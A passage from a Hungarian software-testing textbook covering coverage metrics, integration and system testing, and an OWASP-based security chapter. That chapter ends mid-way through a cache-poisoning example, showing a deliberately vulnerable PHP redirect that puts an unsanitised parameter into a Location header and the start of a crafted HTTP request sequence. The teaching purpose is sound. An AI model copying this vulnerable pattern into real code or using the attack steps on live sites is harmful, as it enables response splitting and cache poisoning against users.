manuálisan is lehet ellenőrizni. A „manuális ellenőrzés” persze már ebben az esetben
is jelentheti segédprogramok igénybevételét.
• A következő lépcső az együtthatómátrix valós értékei helyett olyan speciális értékek
beállítását jelentette, amellyel az egyenletrendszer megoldásának helyességét
könnyű tesztelni. (Például ha az együttható mátrix az egységmátrix, akkor a megoldás
vektornak azonosnak kell lennie a jobboldal vektorával.)
4-12
Szoftver tesztelés

• Rendelkezésre állt olyan, korábban kifejlesztett és letesztelt program, amely az adott


fizikai probléma speciális, egyszerűsített eseteit tudta kezelni. Ugyanezt a problémát
a tesztelendő programmal is megoldva, az eredmények összehasonlíthatók voltak.
• Lehetett olyan input adatokat generálni, amelyekhez tartozó eredménynek a fizika
törvényei szerinti meghatározott sajátosságokat kellett mutatnia: szimmetriát,
megadott peremfeltételekkel való egyezést stb. Ezekben az esetekben az kimenet
egyes elemeinek a numerikus helyességét nem lehetett ellenőrizni, csak a
törvényekkel való egyezőséget.

4.4 Struktúra alapú technikák


Ezeknek a módszereknek az alapja az a tapasztalat, hogy a programozási hibák gyakran a
vezérlési szerkezeteket érintik. A tesztelés célja tehát a kód struktúrájának a felderítése és
helyességének ellenőrzése, ezért a tesztesetek generálása a forráskód elemzése alapján
történik.

Ebben a szemléletben a tesztesetek megtervezése során az a cél, hogy a vizsgált kód minden
ágát végrehajtva vizsgáljuk annak működését. Mivel egy bonyolult kód végrehajtási útjainak
száma nagyon magas lehet, általában nem túl nagy egységek képezik a tesztelés tárgyát.

A kódbejárás alapját a kód matematikai modellje, a vezérlési folyamat gráf (control-flow


graph, CFG) képezi.

A vezérlési folyamat gráf egy olyan irányított gráf, amelyben a csomópontok a program
utasításainak felelnek meg, az irányított élek pedig a végrehajtásuk sorrendjét jelölik ki. Egy
döntési utasításnak megfelelő csomópontból több él indul ki, a vezérlési ágak
összekapcsolódási pontjában elhelyezkedő utasításhoz pedig több él fut be. A ciklust
visszafelé irányuló él reprezentálja.

A vezérlési folyamat gráf a forráskódból automatikusan előállítható, erre megfelelő


segédeszközök állnak rendelkezésre. A folyamat gráf elemzésére, különböző jellemzőinek
meghatározására pedig a matematika számos kidolgozott gráfelméleti algoritmust biztosít.

A tesztelés hatékonyságának mérésére mérőszámokat használhatunk. A mérőszámok


meghatározására szintén rendelkezésre állnak a megfelelő algoritmusok és az azokat
végrehajtani képes eszközök.

4.4.1 A struktúra alapú technikák alkalmazási területei


Vezérlés intenzív alkalmazások

• Ebben a kategóriában valószínűleg igaz, hogy a hibák a sok esetben a vezérlési


szerkezeteket érintik. Algoritmus hibákat is kimutathat.

4-13
Szoftver tesztelés

Tervezési hibák felderítése

• Elsősorban logikai hibák (pl. elérhetetlen kódrészek)

Szabványok előírásai

• Mivel mérőszámokkal minősíthető, sok szabvány előírja valamilyen strukturális


technika használatát.

4.4.2 A vezérlési folyamat gráf


A vezérlési szerkezetet a vezérlési folyamat gráf modellezi, egy program végrehajtási eset
pedig egy út bejárása ebben a gráfban. Ezért felületesen mondhatnánk, hogy a teljes
tesztelés valamennyi út bejárását jelenti.

Mivel azonban a feltételek nem mindig függetlenek egymástól, a bejárható utak száma
általában kevesebb, mint az összes út.

A ciklomatikus komplexitás (CK) a vezérlési gráfban megtalálható független utak maximális


száma. Két út független, ha mindkettőben létezik olyan pont vagy él, amelyik nem eleme a
másik útnak.

A ciklomatikus komplexitás értéke arra jellemző, hogy a program vezérlési szempontból


mennyire bonyolult.

Általános tesztelési cél, hogy a teszthalmaz fedje le a független utak egy maximális (további
független utakkal már nem bővíthető) halmazát. Ennek a célnak a megvalósítását az alábbi
problémák nehezíthetik:

• Az ilyen utak halmaza nem egyedi, tehát ugyanahhoz a kódhoz akár több ilyen
halmazt is lehet rendelni, ami több teszteset halmazt is jelenthet.
• Mivel a ciklomatikus komplexitás a független utak számának felső korlátja, egyes
halmazok számossága lehet kisebb, mint a ciklometrikus komplexitás.

4.4.3 A strukturális tesztgenerálás lépései


A teszt generálás folyamata lényegében leírható az alábbi lépésekkel.

Vezérlési gráf generálása

Ez automatikusan végrehajtható a kód elemzésével.

CK (ciklomatikus komplexitás) számítása

Létezik rá algoritmus, és a kód elemző eszközök képesek ezt az értéket meghatározni.

Független utak maximális (CK db utat tartalmazó) halmazának generálása

Ebben a lépésben már adódnak problémák. Ha vezérlési gráf kört tartalmaz (márpedig
tartalmaz, mert elég nehéz értelmes kódot elképzelni ciklus nélkül), az elvben végtelen
4-14
Szoftver tesztelés

számú út generálását tenné lehetővé. Ne felejtsük el, hogy a vezérlési gráf nem tartalmaz
futás közbeni értékeket, így egy ciklus menetszáma (ami a valóságban természetesen véges)
a gráfból nem állapítható meg. Ez a probléma kezelhető, de a generálandó utak számának
növekedését jelenti. Különösen igaz ez az egymásba ágyazott ciklusok esetén. A struktúra
alapú tesztelési technikák legnagyobb kihívását éppen a ciklusok kezelése jelenti.

Bemenetek generálása a független utak bejárásához

Ebben a lépésben az okozhat problémát, hogy egy adott úthoz nem feltétlenül generálható
olyan bemeneti kombináció, amely annak a bejárását eredményezné. Ez persze nem jelenti
feltétlenül azt, hogy az adott út elemeit képező utasítások elérhetetlenek, csak azt, hogy egy
másik út részeként hajtódhatnak végre.

A tesztelés alaposságának ellenőrzése kód lefedettségi mérőszámokkal

Az idők során számos ilyen mérőszámot dolgoztak ki, és megoldott ezen mérőszámok
automatikus számítása is. A mérőszámok általában 0 és 1 közé eső értékek. Azt
mondhatnánk tehát, hogy a tesztelés akkor teljes, ha egy ilyen mérőszám értéke 1 (teljes
lefedettség), azonban:

• A teljes lefedettség sokszor csak irreálisan nagy teszteset halmazzal érhető el, ezért
inkább annak csak minél jobb megközelítésére törekedhetünk.
• A 100%-os lefedettség sem jelenti azt, hogy minden hibát megtaláltunk. (Erre
példákat az egyes mérőszámok ismertetésénél mutatunk.)
• Mivel a különböző lefedettségi mérőszámok más és más szempontból értékelik a
tesztelés alaposságát, célszerű többet is használni.

A lefedettség elemzés (coverage analysis) a mértékszámok tesztelés során történő


használatának elmélete. A gyakorlat ugyanis azt mutatja, hogy a tesztesetek futtatási
sorendjének „ügyes” megválasztásával eleinte a felderített hibák számának gyors
növekedését lehet elérni, még viszonylag alacsony lefedettség esetén is. A teljes
lefedettséghez való közelítés során a későbbiekben feltárt hibát száma fokozatosan csökken.
Különböző stratégiákkal tehát jelentős költségeket lehet megtakarítani.

Itt hívnám fel arra a figyelmet, hogy a kód lefedettségi mutató nem azonos a hiba
lefedettséggel (amit nem is tudunk számítani, hiszen ahhoz ismerni kellene a programban
levő hibák számát). A kód lefedettség a tesztelés alaposságát méri, a hiba lefedettség az
eredményességét. A tapasztalatok alapján azonban abban bízhatunk, hogy az alapos
tesztelés az eredményességet is növeli.

4.4.4 Tesztminőségi mérőszámok


Ebben az alpontban az alábbi, gyakrabban használt kód lefedettségi mérőszámok számítási
módjait és jelentését tekintjük át

• utasítás lefedettség,

4-15
Szoftver tesztelés

• ág lefedettség (vagy döntés lefedettség),


• út lefedettség.

4.4.4.1 Utasítás lefedettség


Számítási módja:

S(c) = s/S

ahol s a tesztelés során legalább egyszer végrehajtott, S pedig a program összes


utasításainak a száma

A 100% még nem biztosíték arra, hogy a teljes tesztelés minden hibát megtalál.

Egyszerű példa a fenti problémára (hibás kódrészlet):

int a=5 ;

x= …;

if (x>0) a = 10;

a = 20;

• Az utasítás lefedettség teszt 100%, mert minden sorra rákerül a vezérlés.


• Ha nem volt olyan teszt, amely során a feltétel igaz értéket vesz fel, nem derül ki a
hiba.

4.4.4.2 Ág lefedettség (döntés lefedettség)


Számítási módja:

D(c) = d/D

ahol d az elágazási utasításokban szereplő feltételek kimeneteinek tesztelés során


bekövetkezett értékeinek száma, D pedig a program összes elágazás utasításaiban szereplő
feltételeinek lehetséges száma.

A döntés lefedettség tehát akkor teljes, ha a programban szereplő összes döntés minden
lehetséges kimenete előfordult a tesztelés során.

A 100%-os lefedettség ugyan alaposabb tesztelést eredményez, mint az utasítás


lefedettsége, de itt is van ellenpélda:

if (felt1 && (felt2 || fuggveny() ) )

u1;

else

u2;

4-16
Szoftver tesztelés

Ahol felt1 és felt2 logikai kifejezések

A teljes lefedettséghez két teszteset szükséges, hiszen egy feltételnek két lehetséges
kimente van. Ez a két teszteset lehet például:

• felt1 és felt2 igaz – ekkor az elágazás feltétele igaz,


• felt1 hamis, - ekkor az elágazás feltétele hamis.

Ebben a két tesztesetben egyszer sem volt szükség a harmadik operandus kiértékelésére,
tehát a függvény nem hívódik meg. Ha abban van hiba, az felderítetlen marad.

4.4.4.3 Út lefedettség
Számítási módja:

P(c) = p/P

ahol p a tesztelés során bejárt utak száma, P pedig a vezérlési gráf összes útjainak a száma

Teljes út lefedettség teljes utasítás és ág lefedettséget biztosít.

Nagyon szigorú mérőszám, mert

• Az összes utak száma nagyon nagy lehet, ezért a tesztesetek generálása és lefuttatása
erőforrás igényes.
• A vezérlési gráfban lehetnek nem bejárható utak az egymást kizáró feltételek miatt,
tehát a teljes lefedettség nem is mindig elérhető.

4.4.5 A struktúra alapú tesztek szerepe


A fenti rövid bevezetőből is látszik, hogy a struktúra alapú tesztelés bonyolult és erőforrás
igényes feladat. Végrehajtásához speciálisan erre a célra fejlesztett eszközök kellenek, mert
manuális végrehajtása a bonyolult algoritmusok és a szükséges tesztesetek nagy száma miatt
legfeljebb mintapéldákon lehetséges.

Bonyolultsága ellenére sem mellőzhetők ezek a tesztek a biztonság-kritikus rendszerek


esetén. Az ilyen rendszereknél a program váratlan viselkedése egy adott helyzetben akár
emberéleteket is veszélyeztethet, vagy jelentők károkat okozhat. Ha a teljes lefedettséget
minnél jobban megközelítő, alapos tesztelésnek vetjük alá ezeket a rendszereket, a váratlan
viselkedés valószínűsége az elfogadható kockázati szint alá csökkenthető.

A tesztek során alkalmazott lefedettségi mutatók alkalmazhatók az utasításoknál nagyobb


absztrakciós szintű struktúrákra is. Ilyenkor a vezérlési folyamat gráf elemei lehetnek például
alrendszerek, modulok, interfészek, vagy akár a menüstrukrúra elemei. Az integrációs
tesztek esetén ilyen módon módon mérhetjük, hogy a végrehajtott teszt készletek a rendszer
elemeit mennyire alaposan fedték le.

4-17
Szoftver tesztelés

4.5 Gyakorlat alapú technikák


A gyakorlat alapú technikák a tesztelő szakember tapasztalatain alapuló ad-hoc, nem
szisztematikus módszerek. Alkalmazhatók a formálisabb technikák kiegészítésére, de vannak
olyan esetek, amikor főszerephez jutnak. Ilyenek lehetnek az alábbiak:

• Nincs olyan, megfelelő minőségű specifikáció, amiből levezethetők a tesztesetek.


• Nincs elég idő a megfelelően megtervezett tesztelési folyamat lebonyolítására.

4.5.1 Hiba becslés (Error guessing)


Ez egy nagyon egyszerű módszer, ami kihasználja a tesztmérnök hasonló alkalmazásokkal
szerzett tapasztalatait, és lehetővé teszi olyan speciális tesztesetek azonosítását, amelyeket
a szisztematikus technikákkal nehéz feltárni. A szisztematikus módszerek kiegészítéseként a
teszteseteket a korábbi rendszerek ismertté vált tipikus problémái ismeretében egészíti ki.

A módszer hátránya, hogy a hatékonysága esetleges, elsősorban a tesztelő gyakorlatán,


intuíciós képességein, és azon múlik, hogy részt vett-e korábban hasonló rendszerek
fejlesztésében. Előnye viszont, hogy a területen gyakorlott felhasználókat is be lehet vonni a
tesztesetek tervezésébe, felhasználva egy másik nézőpontból származó információkat.

A hiba becslés módszerét strukturáltabbá lehet tenni azzal, hogy elkészítünk egy potenciális
hibalistát. A lista a tesztelő és a felhasználó előzetes tapasztalatai alapján készülhet, és
segítheti a szisztematikus módszereket, de további teszteseteket is generálhat.

4.5.2 Felderítő tesztelés (Exploratory testing)


Ez a módszer kombinálja a tesztelő tapasztalatait és a strukturált tesztelési módszereket.
Hasznos lehet abban az esetben, ha a specifikáció elnagyolt, hiányos, vagy a fejlesztés
határideje nagyon feszített tempót igényel. Ez a technika lehetővé teszi, hogy a korlátozott
tesztelési időt jobban kihasználjuk azáltal, hogy segít megtalálni a legfontosabb,
mindenképpen végrehajtandó teszteseteket.

4.6 Ellenőrző kérdések

4.7 Irodalomjegyzék

Brian Hambling (Editor), Peter Morgan, Angelina Samaroo, Geoff Thompsom, Peter Wiliams:
Software Testing; an ISEB Foundation. The British Computer Society (BCS), 2007. ISBN
1.902505-79-4

4-18
Szoftver tesztelés

Derk-Jan de Grood: TestGoal; Result-Driven Testing. Springer, 2008, ISBN 978-3-540-78828-7

Dr. Sziray József, Dr benyó Balázs, Heckenast Tamás: Szoftver-minőségbiztosítás, 2007.


Elektronikus jegyzet

ftp://jegyzet.sth.sze.hu/!BSc/Szoftverminosegbiztositas/SW_minosegbizt.pdf

4-19
Szoftver tesztelés

Tartalomjegyzék

4 Teszt tervezési technikák ............................................................................ .................... 4-1


4.1 Alapfogalmak ...................................... ................................................... ................... 4-1
4.1.1 Tesztelés alanya (test condition).................................................................... ... 4-1
4.1.2 Teszt eset ........................................ ................................................... ................ 4-2
4.1.3 Teszt specifikáció ................................ ................................................... ............ 4-2
4.1.4 Tesztkészlet ...................................... ................................................... .............. 4-2
4.1.5 Hibamodell ........................................ ................................................... ............. 4-3
4.1.6 Teszt folyamat .................................... ................................................... ............ 4-3
4.1.7 Teszt lefedettség ................................. ................................................... ........... 4-3
4.2 A teszt tervezési technikák fajtái ................................................................... ........... 4-4
4.3 Specifikáció alapú technikák ......................................................................... ............ 4-4
4.3.1 Ekvivalencia particionálás (Equivalence partitioning) ....................................... 4-6
4.3.2 Határérték analízis (Boundary value analysis) .................................................. 4-6
4.3.3 Ok-hatás analízis (Cause-effect analysis) .......................................................... 4 -7
4.3.4 Véletlenszerű adatok generálása .................................................................... 4 -11
4.3.5 Használati eset (use case) tesztelés ................................................................ 4-11
4.3.6 Az elvárt eredmény előállításának problémája............................................... 4-12
4.4 Struktúra alapú technikák............................................................................ ........... 4-13
4.4.1 A struktúra alapú technikák alkalmazási területei .......................................... 4-13
4.4.2 A vezérlési folyamat gráf ............................................................................ ..... 4-14
4.4.3 A strukturális tesztgenerálás lépései............................................................... 4-14
4.4.4 Tesztminőségi mérőszámok ............................................................................ 4-15
4.4.4.1 Utasítás lefedettség ................................................................................. 4-16
4.4.4.2 Ág lefedettség (döntés lefedettség) ........................................................ 4-16
4.4.4.3 Út lefedettség .................................... ................................................... ... 4-17
4.4.5 A struktúra alapú tesztek szerepe ................................................................... 4-17
4.5 Gyakorlat alapú technikák ............................................................................ .......... 4-18
4.5.1 Hiba becslés (Error guessing) ........................................................................ .. 4-18
4.5.2 Felderítő tesztelés (Exploratory testing) ......................................................... 4- 18
4.6 Ellenőrző kérdések................................ ................................................... ............... 4-18
4.7 Irodalomjegyzék ................................... ................................................... ............... 4-18

4-20
Szoftver tesztelés

4-21
Szoftver tesztelés

5 Integrációs tesztek
Az integrációs tesztek az egységteszteket követik. Az egység teszt szorosan kapcsolódik az
implementációs fázishoz, és biztosítja, hogy a részegységek önmagukban már helyesen
működnek. Így ha az integrációs tesztek során hibát észlelünk, az feltehetőleg a modulok
együttműködéséből adódik.

Az integrációs teszteknek következő fázisait különböztetjük meg:

• technikai integrációs teszt (Integration Level Testing, ILT),


• rendszerteszt (System Level Testing , SLT),
• elfogadtatási teszt (User Acceptance Testing, UAT).

Ezek különböznek az integráltság szintjében, és részben a céljaikban is.

5.1 Integration Level Testing (ILT)


Célja az együttműködő egységek vizsgálata. Ezért a teszteléshez egy részrendszert állítunk
össze a már önmagában tesztelt elemekből. Ezek többnyire csak technikai, nem funkcionális
részrendszerek, ezért probléma lehet a megfelelő tesztesetek előállítása.

Az ILT szemlélete elsősorban verifikációs, tehát a hibák megtalálására irányul.

5.1.1 Integrációs stratégiák


A részrendszerek összeépítésére és a tesztesetek megtervezésére és futtatására különböző
stratégiák alakultak ki.

5.1.1.1 "Big-bang" integráció


Feltételezzük, hogy a rendszer minden egység rendelkezésre áll, és ezekből egyből a teljes
rendszer építjük fel, azaz valójában az ITL kimarad, és egyből a System Level Testing
következik. Előnye, hogy a testeseteket könnyebben le lehet vezetni a követelmény
analízisből és nagyon kevés segédkódot kell írni a tesztek végrehajtásához. Hátránya viszont,
hogy nagyon nehéz a hibák okát megtalálni, mert egy hibajelenséget több hiba együttese is
okozhat (a hibák következményei "összemosódnak"). Ezért legfeljebb nagyon egyszerű
rendszerek esetén alkalmazható

5.1.1.2 Inkrementációs integrációs és tesztelési stratégia


Ebben az esetben a rendszer elemeit fokozatosan integráljuk, és minden egyes integrációs
szinten teszteket hajtunk végre. A folyamat tehát az alábbi lépésekből áll:

• Néhány elemet (modult vagy részrendszert) kombinálunk.


• Olyan teszteket futtatunk, amelyek csak az összeépített elemeket igénylik.
• Ha minden teszt sikeres, újabb elemeket teszünk hozzá a rendszerhez.
• További teszteseteket tervezünk, amelyek az új elemek meglétét is igénylik.
• Minden eddigi tesztet újra lefuttatunk.

5-1
Szoftver tesztelés

A fenti iterációt addig folytatjuk, amíg a teljes rendszert összeépítettük, és azon valamennyi
teszt sikeresen lefutott.

Példa:

5-1. ábra Iterációs teszt

Figyeljük meg, hogy a kibővített rendszeren újra kell futtatnunk az előzőleg már sikeresen
lefutott teszteket is, hiszen nem lehetünk biztosak abban, hogy az újabb modulok
integrációja nem okoz hibát a korábbi modulok működésében. Ez a futtatandó tesztesetek
számának exponenciális növekedését jelenti, ami egy bonyolult rendszer esetén nagyon
erőforrás igényessé teszi a folyamatot.

Mivel a tesztelés tárgya mindig csak egy részrendszer, annak működtetéséhez tesztelési
környezetet kell biztosítani, ami segédkódok írását jelenti. A biztosítandó tesztelési
környezet attól függ, milyen integrációs módszert alkalmazunk. Elvben két lehetséges
megközelítés közül választhatunk:

• top-down integráció
• bottom-up integráció

Többnyire a két megközelítés valamilyen ötvözetét használják a gyakorlatban.

5.1.1.3 Top-down integráció

5-2
Szoftver tesztelés

5-2. ábra Top-down integráció

Folyamata:

• A hierarchia legfelső szintjén álló elem tesztelésével kezdjük.


• Az egy szinttel lejjebb álló elemek viselkedését és iterface-ét szimuláló ideiglenes
elemek (stub) szükségesek.
• Ha a teszt sikeres, az ideiglenes elemeket a valódiakkal helyettesítjük, az általuk
használtakat pedig újabb ideiglenes elemekkel szimuláljuk.

Előnyei:

• Jól illeszkedik a top-down programfejlesztési módszerekhez.


• Egy modul a megírása után rögtön tesztelhető.
• Az esetleges tervezési hibák korán kiderülnek, és idejében orvosolhatók.
• Viszonylag korán rendelkezésre áll egy korlátozott képességű rendszer.

Hátrányai:

• Bonyolult lehet a szimulációt végző ideiglenes rutinok megírása.


• A hierarchia felső szintjein álló modulok sokszor nem szolgáltatnak outputot. A
teszteléshez külön eredmény-generáló "betétek" szükségesek.

5.1.1.4 Bottom-up integráció

5-3
Szoftver tesztelés

5-3. ábra Bottom-up tesztelési stratégia

Folyamata:

• Először a legalsó szinten levő modulokat teszteljük, majd a hierarchiában felfelé


haladunk.
• Ehhez a felső szinteket szimuláló tesztelési környezetet (test driver) kell írni.
• Ha a teszt sikeres, a teszt driver-eket a valódi implementált elemekre cseréljük, és a
következő szintet helyettesítjük test driver-ekkel.

5.2 System Level Testing (SLT)


A rendszer összes komponensének teljes körű (funkcionális, nem funkcionális) tesztelése.
Feladata annak megállapítása, hogy a rendszer kiadható-e a megrendelőnek. Ez tehát egy
végső ellenőrzési fázis a fejlesztési folyamatban. Szokás elnevezése még: "release test", a
tesztelés tárgyát képező rendszerváltozat pedig gyakran nevezik "alpha version"-nek.

Bár a tesztelési munka még fejlesztő szervezeten belül folyik, szükséges az éles használat
környezetének minél pontosabb szimulációja.

A tesztelés célja kettős:

• Verifikációs: a rendszer olyan hibáinak megtalálása, amelyek az eddigi tesztelési


tevékenységek során nem mutatkoztak meg.
• Validációs: főleg a nem funkcionális követelmények tesztelése segítségével
meggyőződni arról, hogy a felhasználó céljainak megfelelő a rendszer működése.

Ezen célok elérésére a rendszert több szempont szerint tesztelhetjük.

5.2.1 Szolgáltatás tesztelés


Célja annak megállapítása, hogy a rendszer minden funkcionális követelményt implementál,
és azok helyesen működnek.

5-4
Szoftver tesztelés

5.2.2 Mennyiségi tesztelés


A szoftver működését nagy mennyiségű adattal teszteljük a kapacitáskorlátok ellenőrzésére.
Ellenőrizzük, hogy az adatmennyiség nem okoz-e hibás működést. Végrehajtási / válasz
időket is figyelhetünk, mérhetünk, amely már a terhelési tesztek előkészítését jelenti.

5.2.3 Terheléses tesztelés (Stressz-tesztelés)


A tesztelt rendszert valamilyen szempontból erős terhelésnek teszi ki. Fontos feladata a
megfelelő válaszidők ellenőrzése. Ennek érdekében:

• Vizsgálni kell, hogy a rendszer adott időkorláton belül hogyan teljesít nagy
mennyiségű adatokon dolgozva.
• Intenzív feldolgozást kívánó helyzeteket kell teremteni, melyek szélsőségesek, de
előfordulhatnak.
• A robosztusság ellenőrzésére érdemes a terhelést olyan szintre is emelni, amely
(elvileg) a használat során nem fordulhat elő.

5.2.4 Használhatósági tesztelés


A rendszer egy meghatározott felhasználó által, egy meghatározott felhasználási körben
használva, meghatározott célok hatékony és produktív elérésére, mennyire kielégítő és
mennyire vezet megelégedésre. Minden felhasználói szerepkört, minden használati módot
meg kell vizsgálni.

5.2.5 Biztonsági tesztelés


Az adatbiztonsággal és adatvédelemmel kapcsolatos hibák vizsgálata. A mai, elosztott
architektúrájú, gyakran (legalább részben) Web alapú rendszerek esetén egyre nagyobb a
jelentősége, ezért ezzel e kérdéssel egy külön fejezetben is foglalkozunk.

5.2.6 Teljesítménytesztelés
A teljesítmény vagy a hatékonyság mérése különböző terheléseknél és konfigurációkra
meghatározott válaszidők és feldolgozási sebességek formájában.

5.2.7 Konfigurációtesztelés
Különböző környezetek (hardver, operációs rendszer, egyéb szoftver installációk)
lehetségesek.

Ha a programnak korábbi rendszerekhez kell kapcsolódniuk, vagy a program egy korábbi


változatát váltják le: ellenőrizni kell a kompatibilitást vagy a konverziós eljárásokat.

5.2.8 Megbízhatósági tesztelés


Ha program céljai között megbízhatósággal kapcsolatos speciális kitételek szerepelnek.

A megbízhatósági teszteknek adott esetben ki kell terjedniük a rendszer programozási-


hardver- vagy adathibák bekövetkezte utáni felállására, működésbe visszaállására.

5-5
Szoftver tesztelés

5.2.9 Dokumentációtesztelés
Felhasználói és fejlesztési dokumentumokra egyaránt vonatkozik.

A fejlesztési dokumentáció esetén annak teljességét és az elkészült rendszerrel való


összhangját kell vizsgálni.

A felhasználói dokumentációban szereplő összes illusztratív példát le kell képezni


tesztesetekké és végre is kell hajtani velük a tesztelést.

5.3 User Acceptance Testing (UAT)


Feladata annak megállapítása, hogy a rendszer éles üzembe állítható-e.

Célja a felhasználó és minden haszonélvező (stakeholder) elégedettségének vizsgálata.

Általában a megrendelő telephelyén, annak közreműködésével, és a végleges üzemeltetési


körülmények között kell végrehajtani.

A használható tesztelési módszerek hasonlóak, mint a SLT esetén, de azok közül csak a
felhasználó számára releváns eseteket kell bemutatni.

Ez a szint elsősorban verifikációs szemléletű, tehát az a jó teszt, amely sikeres működést


produkál.

Lehet verifikációs célja is (olyan hibák kimutatására, amelyek csak a végleges működtető
környezetben vizsgálhatók.)

Egy speciális UAT módszer a béta verzió kibocsátása. A béta verziót általában egy korlátozott
felhasználói kör kapja meg, akiktől elvárható, hogy az észlelt hibákat rendszeresen jelentik a
fejlesztőknek.

5-6
Szoftver tesztelés

Tartalomjegyzék

5 Integrációs tesztek .................................................................................. ........................ 5-1


5.1 Integration Level Testing (ILT) ...................................................................... ............ 5-1
5.1.1 Integrációs stratégiák ............................................................................... ......... 5-1
5.1.1.1 "Big-bang" integráció ................................................................................ . 5-1
5.1.1.2 Inkrementációs integrációs és tesztelési stratégia .................................... 5-1
5.1.1.3 Top-down integráció ............................... ................................................... 5-2
5.1.1.4 Bottom-up integráció .............................. ................................................... 5-3
5.2 System Level Testing (SLT) ........................................................................... ............. 5-4
5.2.1 Szolgáltatás tesztelés ............................................................................... ......... 5-4
5.2.2 Mennyiségi tesztelés ................................................................................. ........ 5-5
5.2.3 Terheléses tesztelés (Stressz-tesztelés) ............................................................ 5-5
5.2.4 Használhatósági tesztelés............................................................................. ..... 5-5
5.2.5 Biztonsági tesztelés ................................................................................. .......... 5-5
5.2.6 Teljesítménytesztelés ................................................................................ ........ 5-5
5.2.7 Konfigurációtesztelés ................................................................................ ........ 5-5
5.2.8 Megbízhatósági tesztelés ............................................................................. ..... 5-5
5.2.9 Dokumentációtesztelés ................................................................................ ..... 5-6
5.3 User Acceptance Testing (UAT) ........................................................................ ........ 5-6

5-7
Szoftver tesztelés

6 Biztonsági tesztelés
Ez a fejezet áttekinti a biztonsági támadások leggyakoribb típusait. Az itt leírt biztonsági
támadások a www.owasp.org oldalon található szabad cikkek fordításai.

A támadások azok a technológiák, amiket a támadók használnak, hogy kihasználják az


alkalmazások sebezhető pontjait. A támadásokat gyakran tévesztik össze a sebezhető
pontokkal. Egy támadás leírása azt mondja el, hogy mit tenne a támadó a gyengeség
kihasználására, nem pedig az alkalmazás gyenge pontjait ismerteti.

Ebben a fejezetben a legfontosabb biztonsági támadásokat ismertetjük, hogy a tesztelés


során tudjuk, minek lesz kitéve az alkalmazásunk. Ha ismerjük a biztonsági támadásokat,
akkor a tesztek során kipróbálhatjuk, hogy alkalmazásunk ellen áll-e a támadásnak. Ha igen,
akkor a kiadott szoftverünk kisebb kockázatot jelent a használójának és így nagyobb értéket
képvisel. A támadás ellenállóság egyrészt verseny előny, másrészt az elkérhető magasabb ár
fedezi a tesztelés extra költségeit. Az extra költségek a magasan képzett tesztelők magasabb
munkadíjából és a támadás ellenállóság tesztelésének viszonylag időigényes volta jelenti.
Ugyanakkor a támadás ellenállóság vizsgálatához nem elég csak a legfontosabb támadásokat
ismerni, hiszen újabb és újabb támadási módszereket fejlesztenek ki az IT rendszerek
feltörésére specializálódott hacker-ek.

A támadás ellenállóság tesztelése általában feketedobozos teszt. Történhet a rendszer


kiadása előtt vagy után is. Ha utána történik, akkor általában etikus törési kísérletről
beszélünk. Ehhez általában külső szakembereket, fehér kalapos hacker-eket szoktak felkérni.
Ha a kiadás előtt történik, akkor általában a legmagasabban képzett belső tesztmérnökök
feladata. Ez a fejezet nekik szól, de a szükséges ismereteknek csak egy részét tartalmazza.

A biztonsági támadások legfontosabb típusai (támadás fajtái – konkrét támadások):

• „Működés ellehetetlenítése – Cache Mérgezés” (Abuse of Functionality - Cache


Poisoning )

 (Data Structure Attacks - Overflow Binary Resource fájl )

 „Ártalmas kód beágyazása – logikai/időzített bomba (Embeeded Malicious Code -


Logic/time bomb)

 „Trójai” (Troyan Horse)

 „Azonosítási folyamat kihasználása – Account kizárási támadás” (Exploitation of


Authentication - Account lockout attack)

 „Befecskendezés – Közvetlen statikus kód befecskendezése” (Injection - Direct Static


Code Injection)

6-1
Szoftver tesztelés

 „Útkeresztezési támadás” (Path Traversal Attack)

 „Próbálgatós technológiák – nyers erő támadás” (Probabilistic Techniques - Brute


force attack)

 „Protokol manipuláció – http válasz szétválasztás” (Protocol Manipulation - Http


Response Splitting)

 „Forrás kimerítés – aszimmetrikus erőforrások elfogyasztása (erősítés)” (Resource


Depletion - Asymmetric resource consumption (amplification))

 „Erőforrás manipuláció – kémprogram” (Resource Manipulation – Spyware)

 „Szimatoló támadás – Hálózati lehallgatás” (Sniffing Attacks - Network


Eavesdropping)

 „Átverés – oldalakon keresztüli kérelem hamisítás (CSRF)” (Spoofing - Cross-Site


Request Forgery (CSRF))

6.1.1 Működés ellehetetlenítése – Cache Mérgezés


Leírás

A károsan felépített válasz hatása fölnagyítható, ha egy több felhasználó által használt web
cache tárolja vagy akár egyetlen egy felhasználó böngésző cache-e. Ha egy választ egy
megosztott web cache-ben tárolnak, mint például amik legtöbbször találhatóak a proxy
szerverekben, akkor a cache minden használója mindaddig a káros tartalmat fogja kapni,
amíg a cache bejegyzést ki nem tisztították. Ehhez hasonlóan, ha a választ egy egyéni
felhasználó böngészője cache-eli (tárolja), akkor az a felhasználó mindaddig a káros tartalmat
fogja kapni, amíg a cache bejegyzést meg nem tisztították, ebben az esetben csak a helyi
böngésző másolata lesz érintve.

Hogy egy ilyen támadás sikeres legyen, a támadónak a következőket kell tennie:

• Megtalálni a sebezhető service kódot, amin keresztül több fejléccel terhelheti meg a
http fejléc mezőjét.
• Rákényszeríteni a cache szervert, hogy flush-olja az aktuális cache tartalmat, amit
szeretnénk, hogy cache-eljen a szerver.
• Küldeni egy speciálisan elkészített kérelmet, amit a cache tárolni fog.
• Küldeni a következő kérelmet. A korábban befecskendezett, a cache-ben eltárolt
tartalom lesz a válasz erre a kérelemre.

Ez a fajta támadás meglehetősen nehezen kivitelezhető valós környezetben. A szükséges


feltételek listája hosszú és nehezen teljesíthető a támadó által. Ennek ellenére még mindig
egyszerűbb ezt a technikát használni, mint a Felhasználók Közötti Elcsúfítást (Cross-User
Defacement).

6-2
Szoftver tesztelés

A Cache Mérgezés támadás a HTTP Válasz Szétválasztás (HTTP Response Splitting) és a


hálózati alkalmazás hibái miatt lehetséges. A támadó szempontjából létfontosságú, hogy az
alkalmazás engedélyezze a fejléc mező feltöltését több fejléccel a Kocsi Visszatérés (CR
(Carrige Return)) és a Sor Betáplálása (LF (Line Feed)) karaktereket használva.

Példa:

Találtunk egy weblapot, ami a szolgáltatási nevét a „page” argumentumtól kapja, aztán
visszairányít (302) ehhez a kiszolgálóhoz.

pl.: http://testsite.com/redir.php?page=http://other.testsite.com/
A redir.php példa kódja:
rezos@dojo ~/public_html $ cat redir.php
<?php
header ("Location: " . $_GET['page']);
?>

A megfelelő kérelem elkészítése: [1]


1 – a lap eltávolítása a cache-ből
GET http://testsite.com/index.html HTTP/1.1
Pragma: no-cache
Host: testsite.com
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
